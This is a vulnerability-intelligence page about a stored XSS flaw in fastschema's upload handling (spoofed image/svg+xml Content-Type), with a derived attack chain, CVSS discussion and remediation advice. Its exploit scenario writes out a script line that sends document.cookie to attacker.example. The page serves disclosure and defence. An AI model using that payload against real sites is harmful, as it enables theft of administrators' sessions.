Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
ReconAuthenticate as low-privileged fastschema user
-
DeliveryCraft SVG with embedded JavaScript payload
-
ExploitRename SVG to .jpg and upload with spoofed image/svg+xml Content-Type
-
InstallPutMultipart stores script-bearing SVG in web root
-
C2Deliver file URL to privileged victim user
-
ExecuteVictim browser renders SVG inline
-
ImpactMalicious JavaScript executes in victim's authenticated session
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid fastschema account with file-upload privileges - the CVSS PR:L metric confirms that a low-privileged authenticated session is the minimum requirement, meaning anonymous exploitation is not possible. The attacker must supply a Content-Type header of image/svg+xml (or any SVG-equivalent MIME type on the allow-list) while uploading a file with a non-SVG extension such as .jpg; this is the specific bypass condition enabled by the PutMultipart function's reliance on the client-controlled header rather than file-content inspection. A second prerequisite is that a separate user (typically higher-privileged) must navigate to the stored file's URL for script execution to occur - the CVSS UI:R metric reflects this required victim interaction. Exploitation is bounded by: (1) no unauthenticated path - a valid low-privilege account is mandatory; (2) the SVG payload only executes when the victim's browser fetches and renders the file directly from origin, so Content-Disposition: attachment headers or CSP restrictions on the serving path would neutralize the attack even if the file is stored; (3) impact is confined to the victim's browser session context - no server-side code execution is involved. |
| Impact | The NVD CVSS 3.1 score of 5.4 (Medium) reflects AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N - network reachable, low complexity, authenticated low-privilege attacker, victim interaction required, scope change, limited direct C and I impact. The scope change (S:C) is the critical signal: the injected script executes in the victim's browser session, meaning an attacker could exfiltrate administrator session tokens or perform authenticated actions on behalf of a privileged user, substantially amplifying effective impact beyond the base score. EPSS data is not available in the provided intelligence, so exploitation probability cannot be quantified. The vulnerability is not listed in the CISA KEV catalog and no public exploit code has been identified at time of analysis. Attack complexity is genuinely low - no race conditions, heap grooming, or chained vulnerabilities are required; any authenticated user with upload access can trigger the bypass. The limiting factors - required authenticated account and required victim interaction (UI:R) - are meaningful mitigations in restricted-access deployments but negligible in platforms where user self-registration or contributor roles are common. No conflicting signals exist between the description and CVSS vector. |
| Exploit ScenarioDerived | An authenticated contributor-level user crafts an SVG file containing <script>fetch('https://attacker.example/steal?c='+document.cookie)</script>, renames it to profile_photo.jpg, and uploads it to fastschema while setting the HTTP Content-Type header to image/svg+xml. The PutMultipart function accepts the file based on the spoofed header and persists it in the web root. The attacker then shares or embeds the file's public URL in content visible to an administrator; when the administrator visits the URL, the browser renders the SVG and executes the JavaScript, forwarding the administrator's session cookie to the attacker's server. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 10, 2026
Stored XSS in fastschema through v0.15.1 permits any low-privileged authenticated user to store a script-bearing SVG file in the application's web root by spoofing the HTTP Content-Type header during upload. The root cause is that the PutMultipart function in pkg/rclonefs/base.go trusts the client-supplied Content-Type value rather than inspecting actual file bytes, allowing an attacker to rename an SVG to .jpg while declaring image/svg+xml and fully bypass the MIME allow-list. When a privileged user later browses to the stored file URL, the browser renders the SVG and executes the embedded JavaScript in that user's session context - a scope-changing impact that elevates the real-world risk above what the medium CVSS score alone suggests. No public exploit has been identified at time of analysis.
RemediationAI
No vendor-released patch has been identified at time of analysis; operators should monitor the upstream repository at https://github.com/fastschema/fastschema and the pkg/rclonefs/base.go file for a commit addressing client-controlled Content-Type trust. The most targeted interim fix is to replace header-based MIME validation with server-side content inspection using Go's net/http.DetectContentType or a dedicated library such as h2non/filetype, which reads file magic bytes regardless of the declared header - this directly eliminates the bypass while preserving upload functionality. As an additional compensating control, restrict the file-upload role to explicitly trusted accounts to reduce the population of users who can reach the vulnerable code path; note this does not eliminate the flaw for any account that retains upload access. Configure the web server serving uploaded files to emit Content-Disposition: attachment and a strict Content-Security-Policy (e.g., default-src 'none') on the upload-serving path to prevent browsers from rendering SVG inline even if a malicious file is stored - this breaks the XSS chain without requiring application changes. If SVG upload support is not required by the application, blocking .svg uploads and rejecting image/svg+xml Content-Type declarations at the application or WAF layer is the lowest-risk workaround with no functional side effects for non-SVG workflows.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
fastschema is a Go-based content management and schema framework; the upload path is handled by pkg/rclonefs/base.go via the PutMultipart function, which is responsible for validating and persisting multipart file uploads. The validation logic interrogates the Content-Type HTTP header supplied by the uploading client rather than performing file-content inspection (magic-byte analysis). SVG is an XML-based image format that natively supports embedded <script> elements and JavaScript event handlers (e.g., onload, onerror), making it a well-established stored XSS vector when served from origin. CWE-79 (Improper Neutralization of Input During Web Page Generation) covers this class of flaw - the application neither sanitizes the SVG payload nor enforces content inspection to confirm the file matches its declared or stored type. The CPE cpe:2.3:a:fastschema:fastschema:*:*:*:*:*:*:*:* spans all releases up to and including v0.15.1 as the affected range.
Know when Fastschema gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
PR:L confirmed by requirement for authenticated upload account; UI:R because victim must open the file; S:C as script executes in victim's distinct browser session context.
Primary rating from Vendor (TuranSec).
CVSS VectorVendor: TuranSec
Lifecycle Timeline
1DescriptionCVE.org
A stored cross-site scripting (XSS) vulnerability in fastschema through v0.15.1 allows a low-privileged authenticated user to upload an SVG file containing malicious JavaScript by bypassing the MIME type allow-list check. The pkg/rclonefs/base.go PutMultipart function validates the Content-Type header supplied by the client rather than inspecting the actual file content, enabling an attacker to rename a file to .jpg while specifying image/svg+xml to bypass the filter and store a script-bearing SVG in the web root.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
More in Fastschema
View allNULL pointer dereference in fastschema through v0.15.1 enables an unauthenticated remote attacker to crash the entire se
Remote unauthenticated account takeover in fastschema through v0.15.1 is enabled by a TOCTOU race condition in the OTP-b
EUVD-2026-55223
GHSA-6vrh-w6p3-v6fh
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB